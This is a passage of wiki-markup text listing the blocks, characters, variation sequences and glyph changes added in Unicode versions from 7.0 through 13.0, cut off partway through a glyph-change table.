* Sign Candrabindu and letter Llla (total 2 characters) were added to '''Telugu'''. (U+0C00 and U+0C34)
* A Sign Candrabindu (total 1 character) was added to '''Kannada'''. (U+0C81)
* A Sign Candrabindu (total 1 character) was added to '''Malayalam'''. (U+0D01)
* Lith Numerals (total 10 characters) were added to '''Sinhala'''. (U+0DE6-U+0DEF)
* Additional Old English runes (total 8 characters) were added to '''Runic'''. (U+16F1-U+16F8)
* Letters Gyan and Tra (total 2 characters) were added to '''Limbu'''. (U+191D-U+191E)
* Signs for Jaiminiya Sama Veda (total 2 characters) were added to '''Vedic Extensions'''. (U+1CF8-U+1CF9)
* Marks for Germanic and American lexicology (total 15 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DE7-U+1DF5)
* Nordic Mark, Manat and Ruble sign (total 3 characters) were added to '''Currency Symbols'''. (U+20BB-U+20BD)
* Playback symbols from Webdings font (total 7 characters) were added to '''Miscellaneous Technical'''. (U+23F4-U+23FA)
* A Scissors symbol from Wingdings 2 font (total 1 character) was added to '''Dingbats'''. (U+2700)
* Arrows for Lithuanian dialectology and symbols from Wingdings 3 font (total 115 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B4D-U+2B4F, U+2B5A-U+2B5F, U+2B60-U+2B73, U+2B76-U+2B95, U+2B98-U+2BB9, U+2BBD-U+2BC8 and U+2BCA-U+2BD1)
* (total 7 characters) were added to '''Supplemental Punctuation'''. (U+2E3C-U+2E42)
* Early Cyrillic letters and letters for Lithuanian dialectology (total 6 characters) were added to '''Cyrillic Extended-B'''. (U+A698-U+A69D)
* Letters for European, American and African orthography (total 18 characters) were  added to '''Latin Extended-D'''. (U+A794-U+A79F, U+A7AB-U+A7AD, U+A7B0-U+A7B1 and U+A7F7)
* Tone marks for Tai Laing and letters for Shwe Palaung (total 4 characters) were added to '''Myanmar Extended-A'''. (U+AA7C-U+AA7F)
* Combining phonetic marks (total 7 characters) were added to '''Combining Half Marks'''. (U+FE27-U+FE2D)
* Additional mathematical symbols (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018B-U+1018C)
* A Greek Tau Rho symbol (total 1 character) was added to '''Ancient Symbols'''. (U+101A0)
* A letter Ess (total 1 character) was added to '''Old Italic'''. (U+1031F)
* A Number Joiner (total 1 character) was added to '''Brahmi'''. (U+1107F)
* Sutra mark and sign Ekam (total 2 characters) were added to '''Sharada'''. (U+111CD and U+111DA)
* Additional cuneiform signs (total 42 characters) were added to '''Cuneiform'''. (U+1236F-U+12398)
* Additional numbers, vulgar fractions and a punctuation mark (total 13 characters) were added to '''Cuneiform Numbers and Punctuation'''. (U+12463-U+1246E and U+12474)
* Red Joker, Fool and trumps (total 23 characters) were added to '''Playing Cards'''. (U+1F0BF and U+1F0E0-U+1F0F5)
* Dingbat normal and negative sans-serif digit zero (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10B-U+1F10C)
* Symbols from Webdings, Wingdings 1 and 2 font (total 209 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F321-U+1F32C, U+1F336, U+1F37D, U+1F394-U+1F39F, U+1F3C5, U+1F3CB-U+1F3CE, U+1F3D4-U+1F3DF, U+1F3F1-U+1F3F7, U+1F43F, U+1F441, U+1F4F8, U+1F4FD-U+1F4FE, U+1F53E-U+1F53F, U+1F544-U+1F54A, U+1F568-U+1F579, U+1F57B-U+1F5A3 and U+1F5A5-U+1F5FA)
* Slightly frowning and smiling faces emoji (total 2 characters) were added to '''Emoticons'''. (U+1F641-U+1F642)
* Symbols from Webdings and Wingdings 2 font (total 27 characters) were added to '''Transport and Map Symbols'''. (U+1F6C6-U+1F6CF, U+1F6E0-U+1F6EC and U+1F6F0-U+1F6F3)

== Unicode 8.0 ==

Unicode 8.0 was released in June 17, 2015. It encoded 120,672 characters, adding 7,716 new characters.

=== New blocks ===

* '''Cherokee Supplement''' (U+AB70-U+ABBF), containing 80 lowercase letters, was added.
* '''Hatran''' (U+108E0-U+108FF), containing 26 letters, was added.
* '''Old Hungarian''' (U+10C80-U+10CFF), containing 108 letters, was added.
* '''Multani''' (U+11280-U+112AF), containing 38 letters, was added.
* '''Ahom''' (U+11700-U+1173F), containing 57 letters, was added.
* '''Early Dynastic Cuneiform''' (U+12480-U+1254F), containing 196 characters, was added.
* '''Anatolian Hieroglyphs''' (U+14400-U+1467F), containing 583 characters, was added.
* '''Sutton SignWriting''' (U+1D800-U+1DAAF), containing 672 signs, was added.
* '''Supplemental Symbols and Pictographs''' (U+1F900-U+1F9FF), containing 15 pictographic characters, was added.
* '''CJK Unified Ideographs Extension E''' (U+2B820-U+2CEAF), containing 5762 characters, was added.

=== Extended blocks ===

* Letters for Arwi (total 3 characters) were added to '''Arabic Extended-A'''. (U+08B3-U+08B4 and U+08E3)
* A letter for Avestan transliteration (total 1 character) was added to '''Gujarati'''. (U+0AF9)
* A letter for Andhra Pradesh (total 1 character) was added to '''Telugu'''. (U+0C5A)
* An archaic letter II (total 1 character) was added to '''Malayalam'''. (U+0D5F)
* A letter Mv and small letters (total 7 characters) were added to '''Cherokee'''. (U+13F5 and U+13F8-U+13FD)
* A Georgian Lari sign (total 1 character) was added to '''Currency Symbols'''. (U+20BE)
* Turned digits (total 2 characters) were added to '''Number Forms'''. (U+218A-U+218B)
* Two headed arrows with triangle arrowheads (total 4 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BEC-U+2BEF)
* Some additional ideographs (total 9 characters) were added to '''CJK Unified Ideographs'''. (U+9FCD-U+9FD5)
* A combining letter Ef (total 1 character) was added to '''Cyrillic Extended-B'''. (U+A69E)
* Sinological dot, phonetic extension for African languages, letters for American and Gabonese orthography (total 7 characters) were added to '''Latin Extended-D'''. (U+A78F and U+A7B2-U+A7B7)
* Sign Siddham and letter Jain Om (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FC-U+A8FD)
* Letters for Yakut transliteration (total 4 characters) were added to '''Latin Extended-E'''. (U+AB60-U+AB63)
* A combining mark for Church Slavonic (total 2 characters) were added to '''Combining Half Marks'''. (U+FE2E-U+FE2F)
* Numerals and vulgar fractions (total 64 characters) were added to '''Meroitic Cursive'''. (U+109BC-U+109BD, U+109C0-U+109CF and U+109D2-U+109FF)
* Sandhi mark, diacritical marks for Kashmiri, sign Siddham and punctuation marks (total 9 characters) were added to '''Sharada'''. (U+111C9-U+111CC and U+111DB-U+111DF)
* Combining Anusvara Above and letter Om (total 2 characters) were added to '''Grantha'''. (U+11300 and U+11350)
* Section marks and alternate letters (total 20 characters) were added to '''Siddham'''. (U+115CA-U+115DD)
* An additional sign (total 1 character) was added to '''Cuneiform'''. (U+12399)
* East-Slavic musical symbols (total 11 characters) were added to '''Musical Symbols'''. (U+1D1DE-U+1D1E8)
* (total 24 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F32D-U+1F32F, U+1F37E-U+1F37F, U+1F3CF-U+1F3D3, U+1F3F8-U+1F3FF, U+1F4FF and U+1F54B-U+1F54F)
* Upside Down Face and Face With Rolling Eyes emoji (total 2 characters) were added to '''Emoticons'''. (U+1F643-U+1F644)
* A Place of Worship emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D0)

== Unicode 9.0 ==

Unicode 9.0, was released in June 21, 2016. It encoded 128,172 characters, adding 7,500 new characters.

=== New blocks ===

* '''Cyrillic Extended-C''' (U+1C80-U+1C8F), containing 9 letters, was added.
* '''Osage''' (U+104B0-U+104FF), containing 72 letters, was added.
* '''Newa''' (U+11400-U+1147F), containing 92 letters, was added.
* '''Mongolian Supplement''' (U+11660-U+1167F), containing 13 letters, was added.
* '''Bhaiksuki''' (U+11C00-U+11C6F), containing 97 letters, was added.
* '''Marchen''' (U+11C70-U+11CBF), containing 68 letters, was added.
* '''Ideographic Symbols and Punctuation''' (U+16FE0-U+16FFF), containing 1 letter, was added.
* '''Tangut''' (U+17000-U+187FF), containing 6125 letters, was added.
* '''Tangut Components''' (U+18800-U+18AFF), containing 755 letters, was added.
* '''Glagolitic Supplement''' (U+1E000-U+1E02F), containing 38 letters, was added.
* '''Adlam''' (U+1E900-U+1E95F), containing 87 letters, was added.

=== Extended blocks ===

* Letters for Bravanese, Warsh and Quranic marks used in Pakistan (total 23 characters) were added to '''Arabic Extended-A'''. (U+08B6-U+08BD and U+08D4-U+08E2)
* A sign Spacing Candrabindu (total 1 character) were added to '''Kannada'''. (U+0C80)
* Sign Para, Chillu letters and vulgar fractions (total 14 characters) were added to '''Malayalam'''. (U+0D4F, U+0D54-U+0D56, U+0D58-U+0D5E and U+0D76-U+0D78)
* A diacritical mark for Newa (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFB)
* Power symbols (total 4 characters) were added to '''Miscellaneous Technical'''. (U+23FB-U+23FE)
* Punctuation marks for Church Slavonic (total 2 characters) were added to '''Supplemental Punctuation'''. (U+2E43-U+2E44)
* A letter for Unifon (total 1 character) was added to '''Latin Extended-D'''. (U+A7AE)
* A sign Candrabindu (total 1 character) was added to '''Saurashtra'''. (U+A8C5)
* Indiction sign and a currency symbol (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018D-U+1018E)
* A sign Sukun (total 1 character) was added to '''Khojki'''. (U+1123E)
* Japanese TV symbols (total 18 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F19B-U+1F1AC)
* A Japanese TV symbol (total 1 character) was added to '''Enclosed Ideographic Supplement'''. (U+1F23B)
* A dancing man and Black Heart emoji (total 2 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F57A and U+1F5A4)
* Octagonal Sign, Shopping Trolley, scooters and a Canoe emoji (total 5 characters) were added to '''Transport and Map Symbols'''. (U+1F6D1-U+1F6D2 and U+1F6F4-U+1F6F6)
* (total 67 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F919-U+1F91E, U+1F920-U+1F927, U+1F930, U+1F933-U+1F93E, U+1F940-U+1F94B, U+1F950-U+1F95E and U+1F985-U+1F991)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|0030 FE00
|
|short diagonal stroke form # DIGIT ZERO
|-
|1000 FE00
|
|dotted form # MYANMAR LETTER KA
|-
|1002 FE00
|
|dotted form # MYANMAR LETTER GA
|-
|1004 FE00
|
|dotted form # MYANMAR LETTER NGA
|-
|1010 FE00
|
|dotted form # MYANMAR LETTER TA
|-
|1011 FE00
|
|dotted form # MYANMAR LETTER THA
|-
|1015 FE00
|
|dotted form # MYANMAR LETTER PA
|-
|1019 FE00
|
|dotted form # MYANMAR LETTER MA
|-
|101A FE00
|
|dotted form # MYANMAR LETTER YA
|-
|101C FE00
|
|dotted form # MYANMAR LETTER LA
|-
|101D FE00
|
|dotted form # MYANMAR LETTER WA
|-
|1022 FE00
|
|dotted form # MYANMAR LETTER SHAN A
|-
|1031 FE00
|
|dotted form # MYANMAR VOWEL SIGN E
|-
|1075 FE00
|
|dotted form # MYANMAR LETTER SHAN KA
|-
|1078 FE00
|
|dotted form # MYANMAR LETTER SHAN CA
|-
|107A FE00
|
|dotted form # MYANMAR LETTER SHAN NYA
|-
|1080 FE00
|
|dotted form # MYANMAR LETTER SHAN THA
|-
|2205 FE00
|
|zero with long diagonal stroke overlay form # EMPTY SET
|-
|AA60 FE00
|
|dotted form # MYANMAR LETTER KHAMTI GA
|-
|AA61 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CA
|-
|AA62 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CHA
|-
|AA63 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JA
|-
|AA64 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JHA
|-
|AA65 FE00
|
|dotted form # MYANMAR LETTER KHAMTI NYA
|-
|AA66 FE00
|
|dotted form # MYANMAR LETTER KHAMTI TTA
|-
|AA6B FE00
|
|dotted form # MYANMAR LETTER KHAMTI NA
|-
|AA6C FE00
|
|dotted form # MYANMAR LETTER KHAMTI SA
|-
|AA6F FE00
|
|dotted form # MYANMAR LETTER KHAMTI FA
|-
|AA7A FE00
|
|dotted form # MYANMAR LETTER AITON RA
|-
|…
|
|278 additional emoji variation sequences
|}

== Unicode 10.0 ==

Unicode 10.0, was released in June 20, 2017. It encoded 136,690 characters, adding 8,518 new characters.

=== New blocks ===

* '''Syriac Supplement''' (U+0860-U+086F), containing 11 characters, was added.
* '''Zanabazar Square''' (U+11A00-U+11A4F), containing 72 characters, was added.
* '''Soyombo''' (U+11A50-U+11AAF), containing 80 characters, was added.
* '''Masaram Gondi''' (U+11D00-U+11D5F), containing 75 characters, was added.
* '''Kana Extended-A''' (U+1B100-U+1B12F), containing 31 characters, was added.
* '''Nushu''' (U+1B170-U+1B2FF), containing 396 characters, was added.
* '''CJK Unified Ideographs Extension F''' (U+2CEB0-U+2EBEF), containing 7,473 characters, was added.

=== Extended blocks ===

* A Vedic Anusvara and Abbreviation mark (total 2 characters) were added to '''Bengali'''. (U+09FC-U+09FD)
* Letters for Arabic transliteration (total 6 characters) were added to '''Gujarati'''. (U+0AFA-U+0AFF)
* A combining Anusvara Above and Viramas (total 3 characters) were added to '''Malayalam'''. (U+0D00 and U+0D3B-U+0D3C)
* A sign Atikrama (total 1 character) was added to '''Vedic Extensions'''. (U+1CF7)
* Combining diacritical marks for Church Slavonic (total 4 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DF6-U+1DF9)
* A Bitcoin sign (total 1 character) was added to '''Currency Symbols'''. (U+20BF)
* An Observe Eye symbol (total 1 character) was added to '''Miscellaneous Technical'''. (U+23FF)
* A Group mark (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2BD2)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E45-U+2E49)
* A letter O with Dot Above (total 1 character) was added to '''Bopomofo'''. (U+312E)
* Ideographs for Slavonic transliteration (total 21 characters) were added to '''CJK Unified Ideographs'''. (U+9FD6-U+9FEA)
* Letters for North Italic (total 3 characters) were added to '''Old Italic'''. (U+1032D-U+1032F)
* An Iteration mark for Nushu (total 1 character) was added to '''Ideographic Symbols and Punctuation'''. (U+16FE1)
* Letters for Hentaigana (total 254 characters) were added to '''Kana Supplement'''. (U+1B002-U+1B0FF)
* Symbols for Chinese Folk religion (total 6 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F260-U+1F265)
* Stupa, Pagoda, Sled and Flying Saucer emoji (total 4 characters) were added to '''Transport and Map Symbols'''. (U+1F6D3-U+1F6D4 and U+1F6F7-U+1F6F8)
* (total 66 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F900-U+1F90B, U+1F91F, U+1F928-U+1F92F, U+1F931-U+1F932, U+1F94C, U+1F95F-U+1F96B, U+1F992-U+1F997 and U+1F9D0-U+1F9E6)

== Unicode 11.0 ==

Unicode 11.0, was released in June 5, 2018. It encoded 137,374 characters, adding 684 new characters.

=== New blocks ===

* '''Georgian Extended''' (U+1C90-U+1CBF), containing 46 characters, was added.
* '''Hanifi Rohingya''' (U+10D00-U+10D3F), containing 50 characters, was added.
* '''Old Sogdian''' (U+10F00-U+10F2F), containing 40 characters, was added.
* '''Sogdian''' (U+10F30-U+10F6F), containing 42 characters, was added.
* '''Dogra''' (U+11800-U+1184F), containing 60 characters, was added.
* '''Gunjala Gondi''' (U+11D60-U+11DAF), containing 63 characters, was added.
* '''Makasar''' (U+11EE0-U+11EFF), containing 25 characters, was added.
* '''Medefaidrin''' (U+16E40-U+16E9F), containing 91 characters, was added.
* '''Mayan Numerals''' (U+1D2E0-U+1D2FF), containing 20 characters, was added.
* '''Indic Siyaq Numbers''' (U+1EC70-U+1ECBF), containing 68 characters, was added.
* '''Chess Symbols''' (U+1FA00-U+1FA6F), containing 14 characters, was added.

=== Extended blocks ===

* Small letters Turned Ayb and Yi with Stroke (total 2 characters) were added to '''Armenian'''. (U+0560 and U+0588)
* A triangle Yod (total 1 character) were added to '''Hebrew'''. (U+05EF)
* A Dantayalan and currency symbols (total 3 characters) were added to '''N'Ko'''. (U+07FD-U+07FF)
* A Small Low Waw (total 1 character) was added to '''Arabic Extended-A'''. (U+08D3)
* A Sandhi mark (total 1 character) was added to '''Bengali'''. (U+09FE)
* An Abbreviation mark (total 1 character) was added to '''Gurmukhi'''. (U+0A76)
* A combining Anusvara Above (total 1 character) was added to '''Telugu'''. (U+0C04)
* A sign Siddham (total 1 character) was added to '''Kannada'''. (U+0C84)
* A letter for Buryat (total 1 character) was added to '''Mongolian'''. (U+1878)
* Symbols for chess notation, astrological and half star symbols (total 43 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BBA-U+2BBC, U+2BD3-U+2BEB and 2BF0-U+2BFE)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E4A-U+2E4E)
* A letter NN (total 1 character) was added to '''Bopomofo'''. (U+312F)
* Some ideographs for Kanji (total 5 characters) were added to '''CJK Unified Ideographs'''. (U+9FEB-U+9FEF)
* A small capital Q and a letter for Mazahua (total 3 characters) were added to '''Latin Extended-D'''. (U+A7AF and U+A7B8-U+A7B9)
* Letter and vowel sign Ay (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FE-U+A8FF)
* Letters Ttta, Vha and a vulgar fraction (total 3 characters) were added to '''Kharoshthi'''. (U+10A34-U+10A35 and U+10A48)
* A Number Sign Above (total 1 character) was added to '''Kaithi'''. (U+110CD)
* Letter Lhaa, vowel sign Aa and Ei (total 3 characters) were added to '''Chakma'''. (U+11144-U+11146)
* A combining Bindu Below (total 1 character) was added to '''Grantha'''. (U+1133B)
* A Sandhi mark (total 1 character) was added to '''Newa'''. (U+1145E)
* An alternate letter Ba (total 1 character) was added to '''Ahom'''. (U+1171A)
* A mark Pluta (total 1 character) was added to '''Soyombo'''. (U+11A9D)
* Additional ideographs (total 5 characters) were added to '''Tangut'''. (U+187ED-U+187F1)
* Tally marks (total 7 characters) were added to '''Counting Rod Numerals'''. (U+1D372-U+1D378)
* A Copyleft symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F12F)
* A Skateboard emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6F9)
* Normal and negative circled shapes (total 4 characters) were added to '''Geometric Shapes Extended'''. (U+1F7D5-U+1F7D8)
* (total 65 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F94D-U+1F94F, U+1F96C-U+1F970, U+1F973-U+1F976, U+1F97A, U+1F97C-U+1F97F, U+1F998-U+1F99F, U+1F9A0-U+1F9A2, U+1F9B0-U+1F9B9, U+1F9C1-U+1F9C2 and U+1F9E7-U+1F9FF)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|FF10 FE00
|
|short diagonal stroke form # FULLWIDTH DIGIT ZERO
|}

== Unicode 12.0 ==

Unicode 12.0 was released on March 5, 2019. It encoded 137,928 characters, adding 554 new characters.

=== New blocks ===

* '''Elymaic''' (U+10FE0-U+10FFF), containing 23 characters, was added.
* '''Nandinagari''' (U+119A0-U+119FF), containing 65 characters, was added.
* '''Tamil Supplement''' (U+11FC0-U+11FFF), containing 51 characters, was added.
* '''Egyptian Hieroglyph Format Controls''' (U+13430-U+1343F), containing 9 characters, was added.
* '''Small Kana Extension''' (U+1B130-U+1B16F), containing 7 characters, was added.
* '''Nyiakeng Puachue Hmong''' (U+1E100-U+1E14F), containing 71 characters, was added.
* '''Wancho''' (U+1E2C0-U+1E2FF), containing 59 characters, was added.
* '''Ottoman Siyaq Numbers''' (U+1ED00-U+1ED4F), containing 61 characters, was added.
* '''Symbols and Pictographs Extended-A''' (U+1FA70-U+1FAFF), containing 16 characters, was added.

=== Extended blocks ===

* A sign Siddham (total 1 character) was added to '''Telugu'''. (U+0C77)
* Letters for Pail and Sanskrit (total 15 characters) were added to '''Lao'''. (U+0E86, U+0E89, U+0E8C, U+0E8E-U+0E93, U+0E98, U+0EA0, U+0EA8-U+0EA9, U+0EAC and U+0EBA)
* A sign Double Anusvara Antargomukha (total 1 character) was added to '''Vedic Extensions'''. (U+1CFA)
* An astrological symbol and Hellschreiber Pause symbol (total 2 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BC9 and U+2BFF)
* A Cornish Verse Divider (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E4F)
* Egyptological letters, Anglicana W and letters for early Pinyin (total 11 characters) were added to '''Latin Extended-D'''. (U+A7BA-U+A7BF and U+A7C2-U+A7C6)
*Sinological phonetic letters (total 2 characters) were added to '''Latin Extended-E'''. (U+AB66-U+AB67)
* A Vedic Anusvara (total 1 character) was added to '''Newa'''. (U+1145F)
* An archaic letter Kha (total 1 character) was added to '''Takri'''. (U+116B8)
* Sign Jihvamuliya and Uphadhmaniya (total 2 characters) were added to '''Soyombo'''. (U+11A84-U+11A85)
* Letters for various Yi and Miao languages (total 16 characters) were added to '''Miao'''. (U+16F45-U+16F4A, U+16F4F and U+16F7F-U+16F87)
* Marks for Ancient Chinese texts (total 2 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE2-U+16FE3)
* Some additional ideographs (total 6 characters) were added to '''Tangut'''. (U+187F2-U+187F7)
* A Nasalization mark (total 1 character) was added to '''Adlam'''. (U+1E94B)
* A Spanish and Portuguese register mark (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F16C)
* Hindu Temple and Auto Rickshaw emoji (total 2 characters) were added to '''Transport and Map Symbols'''. (U+1F6D5 and U+1F6FA)
* Large colored circles and boxes (total 12 characters) were added to '''Geometric Shapes Extended'''. (U+1F7E0-U+1F7EB)
* (total 31 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90D-U+1F90F, U+1F93F, U+1F971, U+1F97B, U+1F9A5-U+1F9AA, U+1F9AE-U+1F9AF, U+1F9BA-U+1F9BF, U+1F9C3-U+1F9CA and U+1F9CD-U+1F9CF)
* Heterodox chess symbols (total 84 characters) were added to '''Chess Symbols'''. (U+1FA00-U+1FA53)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Spacing Modifier Letters
|02EA, 02EB
|2
|-
|Vedic Extensions
|1CF2..1CF3
|2
|-
|Currency Symbols
|20A9
|1
|-
|CJK Symbols and Punctuation
|3001, 3002
|2
|-
|Bopomofo
|3105..312F
|43
|-
|Bopomofo Extended
|31A0..31BA
|27
|-
|CJK Unified Ideographs Extension A
|37C3, 3B9D, 3CFD, 3FE0, 44EC, 4A76
|6
|-
|CJK Unified Ideographs
|5344, 55B9, 6ABC, 6FF9, 809E, 80BC, 80E9, 8132, 8159, 841C, 891D, 8C6C, 915E, 9FD4
|14
|-
|Phags-pa
|A840..A877
|56
|-
|Halfwidth and Fullwidth Forms
|FF01, FF0C, FF0E, FF1A, FF1B, FF1F
|6
|-
|CJK Unified Ideographs Extension B
|200DD, 20164, 20BBF, 20C02, 20CED, 21D4C, 2278B, 23AB8, 2459B, 24A7D, 24FB9, 25ED7, 2677C, 26B4C, 26C21, 26CBE, 26E3D, 28834, 289A1, 289C0, 28A0F, 28B46
|22
|-
|CJK Unified Ideographs Extension C
|2A8FB, 2A917, 2AA30
|3
|-
|CJK Unified Ideographs Extension E
|2BA52, 2BD77, 2C494, 2C72F, 2C734, 2CB38
|6
|-
|CJK Unified Ideographs Extension F
|2D23B, 2E83A
|2
|-
! colspan=&quot;2&quot; |Total
!192
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|3001 FE00
|
|corner-justified form # IDEOGRAPHIC COMMA
|-
|3001 FE01
|
|centered form # IDEOGRAPHIC COMMA
|-
|3002 FE00
|
|corner-justified form # IDEOGRAPHIC FULL STOP
|-
|3002 FE01
|
|centered form # IDEOGRAPHIC FULL STOP
|-
|FF01 FE00
|
|corner-justified form # FULLWIDTH EXCLAMATION MARK
|-
|FF01 FE01
|
|centered form # FULLWIDTH EXCLAMATION MARK
|-
|FF0C FE00
|
|corner-justified form # FULLWIDTH COMMA
|-
|FF0C FE01
|
|centered form # FULLWIDTH COMMA
|-
|FF0E FE00
|
|corner-justified form # FULLWIDTH FULL STOP
|-
|FF0E FE01
|
|centered form # FULLWIDTH FULL STOP
|-
|FF1A FE00
|
|corner-justified form # FULLWIDTH COLON
|-
|FF1A FE01
|
|centered form # FULLWIDTH COLON
|-
|FF1B FE00
|
|corner-justified form # FULLWIDTH SEMICOLON
|-
|FF1B FE01
|
|centered form # FULLWIDTH SEMICOLON
|-
|FF1F FE00
|
|corner-justified form # FULLWIDTH QUESTION MARK
|-
|FF1F FE01
|
|centered form # FULLWIDTH QUESTION MARK
|}

== Unicode 12.1 ==

Unicode 12.1 was released on May 7, 2019. It encoded 137,929 characters, adding only 1 new character.

=== Extended blocks ===
* A square era name Reiwa (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+32FF)

== Unicode 13.0 ==

Unicode 13.0 was released on March 10, 2020. It encoded 143,859 characters, adding 5,930 new characters.

=== New blocks ===

* '''Yezidi''' (U+10E80-U+10EBF), containing 47 characters, was added.
* '''Chorasmian''' (U+10FB0-U+10FDF), containing 28 characters, was added.
* '''Dives Akuru''' (U+11900-U+1195F), containing 72 characters, was added.
* '''Lisu Supplement''' (U+11FB0-U+11FBF), containing 1 character, was added.
* '''Khitan Small Script''' (U+18B00-U+18CFF), containing 470 characters, was added.
* '''Tangut Supplement''' (U+18D00-U+18D08), containing 9 characters, was added.
* '''Symbols for Legacy Computing''' (U+1FB00-U+1FBFF), containing 212 characters, was added.
* '''CJK Unified Ideographs Extension G''' (U+30000-U+3134F), containing 4939 characters, was added.

=== Extended blocks ===

* Letters for African languages and Punjabi (total 10 characters) were added to '''Arabic Extended-A'''. (U+08BE-U+08C7)
* A sign Overline (total 1 character) was added to '''Oriya'''. (U+0B55)
* A Vedic Anusvara (total 1 character) was added to '''Malayalam'''. (U+0D04)
* A sign Candrabindu (total 1 character) was added to '''Sinhala'''. (U+0D81)
* Combining diacritical marks for Scottish phonology (total 2 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1ABF-U+1AC0)
* A Japanese symbol for Type A Electronics (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B97)
* Cross patties and a Tironian sign Capita Et (total 3 characters) were added to '''Supplemental Punctuation'''. (U+2E50-U+2E52)
* Letters for Taiwan and Cantonese language (total 5 characters) were added to '''Bopomofo Extended'''. (U+31BB-U+31BF)
* Some disunified ideographs (total 10 characters) were added to '''CJK Unified Ideographs Extension A'''. (U+4DB6-4DBF)
* Some ideographs for China (total 13 characters) were added to '''CJK Unified Ideographs'''. (U+9FF0-U+9FFC)
* Letters for Gaulish (total 6 characters) were added to '''Latin Extended-D'''. (U+A7C7-U+A7CA and U+A7F5-U+A7F6)
* An alternate sign Nasanta (total 1 character) was added to '''Syloti Nagri'''. (U+A82C)
* Letter R With Midle Tilde and modifier letters for Scottish phonology (total 4 characters) were added to '''Latin Extended-E'''. (U+AB68-U+AB6B)
* A symbol Ascia (total 1 character) was added to '''Ancient Symbols'''. (U+1019C)
* A letter for Pali (total 1 character) was added to '''Chakma'''. (U+11147)
* A vowel sign Prishthamatra E and Inverted Candrabindu (total 2 characters) were added to '''Sharada'''. (U+111CE and U+111CF)
* Double comma, sign Jihvamuliya and Uphadhmaniya (total 3 characters) were added to '''Newa'''. (U+1145A and U+11460-U+11461)
* Khitan Small Script Filler and reading marks for Vietnamese (total 3 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE4 and U+16FF0-U+16FF1)
* Some additional components (total 13 characters) were added to '''Tangut Components'''. (U+18AF3-U+18AFF)
* Creative Commons license symbols and Mask Work symbol (total 7 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10D-U+1F10F, U+1F16D-1F16F and U+1F1AD)
* Hut, Elevator, Pickup Truck and Roller Skate emoji (total 4 characters) were added to '''Transportation and Map Symbols'''. (U+1F6D6-U+1F6D7 and U+1F6FB-U+1F6FC)
* Arrows for legacy computing (total 2 characters) were added to '''Supplemental Arrows-C'''. (U+1F8B0-U+1F8B1)
* (total 10 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90C, U+1F972, U+1F977-U+1F978, U+1F9A3-U+1F9A4, U+1F9AB-U+1F9AD and U+1F9CB)
* (total 41 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA74, U+1FA83-U+1FA86, U+1FA96-U+1FAA8, U+1FAB0-U+1FAB6, U+1FAC0-U+1FAC2 and U+1FAD0-U+1FAD6)
* Gongche characters for Kunqu Opera (total 7 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6D7-U+2A6DD)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Tagalog
|1700..170C, 170E..1714
|20
|-
|Mongolian
|1834, 1871, 1878
|3
|-
|Sundanese
|1BAB
|1
|-
|Currency Symbols
|20BF
|1
|-
|CJK Radicals Supplement
|2E80..2E99, 2E9B..2EF3
|115
|-
|Kangxi Radicals
|2F00..2FD5
|214
|-
|CJK Unified Ideographs Extension A
|3472, 38C7, 3DB8, 3FE0, 440B, 46E9
|6
|-
|CJK Unified Ideographs
|53FD, 6146, 6711, 671C, 6721, 6725, 6BD2, 7B9A, 87CE, 8956, 93BF, 9B97
|12
|-
|Latin Extended-D
|A764..A765
|2
|-
|Phags-pa
|A86D
|1
